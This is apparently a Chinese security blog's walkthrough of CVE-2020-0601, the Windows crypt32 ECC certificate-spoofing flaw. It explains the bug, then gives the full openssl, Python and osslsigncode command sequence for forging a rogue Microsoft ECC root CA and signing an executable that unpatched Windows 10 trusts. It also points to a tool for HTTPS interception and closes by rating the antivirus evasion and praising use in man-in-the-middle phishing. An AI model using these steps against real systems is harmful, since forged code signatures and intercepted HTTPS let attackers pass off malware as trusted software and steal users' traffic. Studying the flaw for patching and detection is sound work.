CVE-2020-0601

0x00 CVE-2020-0601 漏洞原理

引用我司大佬总结:

1.基础知识:

ECC私钥+椭圆曲线=ECC公钥

2.漏洞:

微软的私钥+微软选的椭圆曲线=微软根证书里面的公钥

黑客的私钥+黑客选的椭圆曲线=微软根证书里面的公钥

不同的椭圆曲线和不同的私钥,能产生值一模一样的公钥。

win10开始默认添加了微软的ECC根证书,在做证书链验证时,会一直验证到微软根证书里面的公钥的hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值就万事大吉了,导致了黑客拿自己的私钥随便签个名,都以为是微软自己签的。

3.win7受影响吗?

win7没有默认添加微软的ECC根证书,crypt32.dll里面也没这个hash值,没法直接对比通过。

结论:Windows 7不受影响

4.XP、2003受影响吗?

ECC是个什么鬼?

5.我能跑出微软根证书里面的私钥吗?

洗洗睡吧。

0x01 CVE-2020-0601 漏洞利用

首先来看下开源的工具:

https://github.com/kudelskisecurity/chainoffools

这个工具使用了 USERTrust ECC Certification Authority 的证书来进行验证。

参照这款工具生成证书,并对exe进行签名,查看签名信息如下:

由于不存在根证书,所以会看到验证并没有通过,访问网站:

https://usertrustecccertificationauthority-ev.comodoca.com/

会在系统安装根证书,这样就会让签名正常。

如果要不安装别的证书让签名正常就需要寻找系统默认信任的ECC签名的根证书。

0x02 默认ECC签名根证书测试

首先,我们来查看一下默认有哪些根证书:

dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }

可以看到这里面有3个系统默认的ECC签名的根证书。我们随意导出其中一个根证书:

cmd输入certmgr.msc打开证书管理,找到ECC签名根证书进行导出:

导出直接选择Base64编码那个就行。

使用openssl查看证书信息:

openssl x509 -in ca.cer -text -noout

查看 gen-key.py 及README,这里我们需要提取证书的公钥 Public Key 和序列号Serial Number 以及Subject。

为了方便提取,可以使用powershell,这样就把所需要的内容提取出来了

dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" } | %{[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','');$_.SerialNumber;$_.subject;"="*200}

我们随意选择一个,比如:

04C711162A761D568EBEB96265D4C3CEB4F0C330EC8F6DD76E39BCC849ABABB8E34378D581065DEFC77D9FCED6B39075DE0CB090DE23BAC8D13E67E019A91B86311E5F342DEE17FD15FB7E278A32A1EAC98FC97E18CB2F3B2C487A7DA6F40107AC
14982666DC7CCD8F4053677BB999EC85
CN=Microsoft ECC Product Root Certificate Authority 2018, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

参照POC里面的README来进行生成:

生成key模版:

openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit

替换 gen-key.py 里面的公钥字符串。生成对应的私钥:

python gen-key.py

使用获取的序列号和subj生成假冒的CA

openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x14982666DC7CCD8F4053677BB999EC85 -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poratio/CN=Microsoft ECC TS Root Certificate Authority 2018"

接下来,就可以生成私钥和证书,在这里需要替换一下项目里面的 openssl.cnf 为以下内容:

[ req ]
default_bits            = 2048                  # RSA key size
encrypt_key             = yes                   # Protect private key
default_md              = sha1                  # MD to use
utf8                    = yes                   # Input is UTF-8
string_mask             = utf8only              # Emit UTF-8 strings
prompt                  = yes                   # Prompt for DN
distinguished_name      = codesign_dn           # DN template
req_extensions          = codesign_reqext       # Desired extensions

[ codesign_dn ]
countryName             = "1. Country Name (2 letters) (eg, DK)       "
countryName_max         = 2
stateOrProvinceName     = "2. State or Province Name   (eg, Denmark)   "
localityName            = "3. Locality Name            (eg, Copenhagen)     "
organizationName        = "4. Organization Name        (eg, ollypwn)  "
organizationalUnitName  = "5. Organizational Unit Name (eg, ollypwn)  "
commonName              = "6. Common Name              (eg, Olly Pwn)"
commonName_max          = 64

[ codesign_reqext ]
basicConstraints = CA:FALSE
keyUsage                = critical,digitalSignature
extendedKeyUsage        = critical,codeSigning
subjectKeyIdentifier    = hash

[ usr_cert ]
basicConstraints = CA:FALSE
keyUsage = digitalSignature
extendedKeyUsage = codeSigning  
[ v3_req ]
keyUsage = critical,digitalSignature
extendedKeyUsage = critical,codeSigning

生成:

openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poration/CN=Microsoft ECC TS Root Certificate Authority 2018"

openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf

将证书转换为pkcs12:

openssl pkcs12 -export -in client-cert.pem -inkey prime256v1-privkey.pem -certfile ca-rogue.pem -out cert.p12

使用osslsigncode或者signtool签名:

osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe

如果转换为pkcs12时添加了密码,签名的时候需要指定:

osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe -pass 123123

将签名好的EXE放到未打补丁的Win10 上面查看签名信息:

0x03 关于HTTPS劫持

HTTPS劫持需要中间人,另外需要生成所需要的证书文件,生成方法可参考项目:

https://github.com/ollypwn/cve-2020-0601

结果如下图:

0x04 总结

关于此漏洞,签名的二进制文件的免杀效果一般,但是结合中间人钓鱼还是很棒的。建议小伙伴们尽快升级系统。

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章